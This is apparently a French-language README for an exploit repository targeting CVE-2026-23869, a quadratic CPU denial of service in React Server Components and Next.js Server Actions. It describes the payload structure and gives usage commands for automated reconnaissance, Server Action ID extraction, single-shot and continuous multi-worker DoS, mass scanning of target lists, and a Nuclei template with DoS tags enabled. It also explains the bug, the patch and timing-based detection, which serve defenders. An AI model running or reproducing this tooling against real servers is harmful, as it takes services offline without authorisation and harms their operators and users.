
Outil d'exploitation automatisé pour CVE-2026-23869, un DoS distant dans React Server Components. Inclut un PoC, un modèle Nuclei et des scripts de scan pour la détection et l'exploitation.
Déni de service distant non authentifié via le protocole Flight de React
Épuisement quadratique du CPU lors de la désérialisation de Map dans les Server Components
Vue d'ensemble • Fonctionnement • Outils • Installation • Utilisation • Nuclei • Correctif • Avertissement
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-23869 |
| Alias | React2DoS |
| Score CVSS | 7.5 (Élevé) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Consommation de ressources non contrôlée) |
| Type | Déni de service distant non authentifié |
| Découvert par | Yohann Sillam (Imperva Threat Research) |
| Affecté | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Corrigé | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Une vulnérabilité critique de déni de service existe dans la désérialisation du protocole Flight des Server Components de React. Un attaquant non authentifié peut envoyer une seule requête HTTP malveillante à n'importe quel point de terminaison Server Action de l'App Router de Next.js, provoquant un épuisement quadratique O(n²) du CPU qui verrouille le serveur pendant plusieurs minutes.
consumed manquant lors de la désérialisation de MapLe protocole Flight de React utilise des marqueurs spéciaux pour sérialiser les types de données. $Q représente un objet Map. Lorsque le serveur reçoit une charge utile contenant des marqueurs $Q0 auto-référencés :
Charge utile : [ [1,1], [1,1], ...(n entrées valides)..., "$Q0", "$Q0", ...(n références)... ]
Chaque $Q0 déclenche un constructeur new Map() qui itère sur toutes les n entrées valides. Le constructeur Map lève une erreur (car les entrées sont malformées), mais le bug critique est le suivant : l'indicateur consumed n'est jamais défini en cas d'échec.
Cela signifie que le $Q0 suivant recalcule exactement le même Map à partir de zéro → créant une complexité O(n²) :
n entrées valides × n références $Q0 = n² appels au constructeur Map
Exemple : 65 000 × 65 000 = 4 225 000 000 opérations
Résultat : une seule requête verrouille le CPU pendant 5 à 10+ minutes
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Attaquant │ ──────────────────────────────────────▶ │ Serveur Next.js │
│ │ En-tête : Next-Action: <action_id> │ │
│ │ Corps : [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% VERROUILLÉ │
└──────────┘ │ pendant ~5-10 min│
└──────────────────┘
// ReactFlightReplyServer.js — AVANT correctif
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Échoue mais ne définit pas consumed = true
// Le $Q0 suivant recalcule à partir de zéro
}
// ReactFlightReplyServer.js — APRÈS correctif (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Correctif : définit l'indicateur AVANT la construction
return new Map(data); // Empêche le recalcul répété
}
| Fichier | Description |
|---|---|
poc.py |
# Cloner le dépôt
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Installer la dépendance Python
pip install requests
# Rendre les scripts exécutables
chmod +x poc.py scan.sh extract-action-ids.sh
# Pour le scan avec le modèle Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Pour le filtrage des cibles actives
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Fournissez simplement l'URL — l'outil fait tout automatiquement :
python3 poc.py -u https://target.com
Ce qui se passe :
# Scanner une liste de domaines/IP
python3 poc.py -L targets.txt
# Avec sortie de rapport JSON
python3 poc.py -L targets.txt -o results.json
# Détection sûre uniquement
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Exploitation en un seul tir
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS continu (10 workers)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options :
-u, --url URL URL cible (cible unique)
-L, --list FILE Fichier contenant les URL/IP cibles (une par ligne)
-a, --action-id ID ID de Server Action (ignore l'extraction automatique)
--detect Détection uniquement — sûre, non destructive (par défaut)
--single Exploitation en un seul tir après détection
--exploit DoS continu après détection
--extract Extraire uniquement les ID d'action
-l, --length N Entrées de la charge utile (par défaut : 130000)
-w, --workers N Workers simultanés (par défaut : 5)
-d, --delay SEC Délai entre les requêtes (par défaut : 1.0)
-o, --output FILE Enregistrer le rapport JSON
-t, --threads N Cibles simultanées pour le scan de liste (par défaut : 3)
La syntaxe originale du PoC fonctionne toujours :
python3 poc.py <ACTION_ID> <URL>
# Cible unique
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Plusieurs cibles
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Sortie propre (uniquement les résultats vulnérables)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Remarque : L'indicateur
-itags dosest obligatoire car Nuclei exclut les modèles DoS par défaut pour des raisons de sécurité.
Requête 1 (GET /) → Empreinte de Next.js (en-têtes + marqueurs HTML)
Requête 2 (GET /) → Extraction des ID de Server Action depuis createServerReference()
Requête 3 (POST /) → Requête de référence (charge utile bénigne)
Requête 4 (POST /) → Sonde d'exploitation (250 valides + 250 entrées $Q0)
└─ Si le temps de réponse ≥ 3 s → VULNÉRABLE
# Exécute httpx → filtre les cibles actives → scan Nuclei → résultats
./scan.sh
# Ou spécifiez des fichiers personnalisés
./scan.sh targets1.txt targets2.txt
L'outil utilise une détection basée sur le timing pour identifier en toute sécurité les serveurs vulnérables :
Une détection est confirmée lorsque :
multipart/form-data anormalement volumineux contenant des marqueurs $Q/CVE-2026-23869-Exploit/
├── README.md # Ce fichier
├── poc.py # Outil PoC d'exploitation entièrement automatisé
├── CVE-2026-23869.yaml # Modèle de détection Nuclei
├── scan.sh # Auto-scanner httpx + nuclei
└── extract-action-ids.sh # Extracteur autonome d'ID d'action
╔══════════════════════════════════════════════════╗
║ PHASE 1 ▸ RECONNAISSANCE ║
╚══════════════════════════════════════════════════╝
✓ Next.js détecté (Next.js)
✓ ID de build : abc123def456
✓ App Router : Server Actions détectés
╔══════════════════════════════════════════════════╗
║ PHASE 2 ▸ EXTRACTION DES ID D'ACTION ║
╚══════════════════════════════════════════════════╝
✓ 3 ID d'action trouvés :
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ PHASE 3 ▸ DÉTECTION DE VULNÉRABILITÉ ║
╚══════════════════════════════════════════════════╝
[1/2] Référence : 0,142 s
[2/2] Sonde : 7,891 s (55,6x la référence)
██ VULNÉRABLE — CVE-2026-23869 CONFIRMÉ ██
╔══════════════════════════════════════════════════════════════╗
║ RÉSULTATS DU SCAN PAR LOTS ║
╚══════════════════════════════════════════════════════════════╝
Scannées : 150 cibles en 45,2 s
Vulnérables : 3
Corrigées : 12
Ignorées : 135
🔴 CIBLES VULNÉRABLES
─────────────────────────────────────────────────
# CIBLE SONDE RATIO
1 vulnerable-app.com 7,89 s 55,6x
2 staging.example.com 4,21 s 28,1x
3 dev.testsite.org 12,33 s 82,2x
⚠️ UNIQUEMENT POUR LES TESTS DE SÉCURITÉ AUTORISÉS
Cet outil est fourni à des fins éducatives et pour des tests d'intrusion autorisés uniquement. Toute utilisation non autorisée de cet outil contre des cibles que vous ne possédez pas ou pour lesquelles vous n'avez pas d'autorisation explicite de test est illégale et peut violer les lois sur la fraude informatique (CFAA, CMA, etc.).
Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil. Obtenez toujours une autorisation écrite appropriée avant de tester tout système.
Si vous trouvez cela utile, pensez à laisser une ⭐
| Outil d'exploitation entièrement automatisé avec pipeline en 4 phases (Recon → Extraction → Détection → Exploitation) |
CVE-2026-23869.yaml | Modèle de détection Nuclei avec orchestration basée sur les flux |
scan.sh | Script wrapper : filtrage httpx des cibles actives + scan Nuclei |
extract-action-ids.sh | Extracteur autonome d'ID de Server Action |
| Métrique | Vulnérable | Corrigé |
|---|
| Référence (requête bénigne) | ~0,1-0,5 s | ~0,1-0,5 s |
| Sonde (500 entrées) | 3-10+ secondes | ~0,1-0,5 s |
| Ratio (Sonde/Référence) | >5x | ~1x |
| Charge utile complète (130K entrées) | 5-10+ minutes | ~0,1-0,5 s |
| Paquet | Vulnérable | Corrigé |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |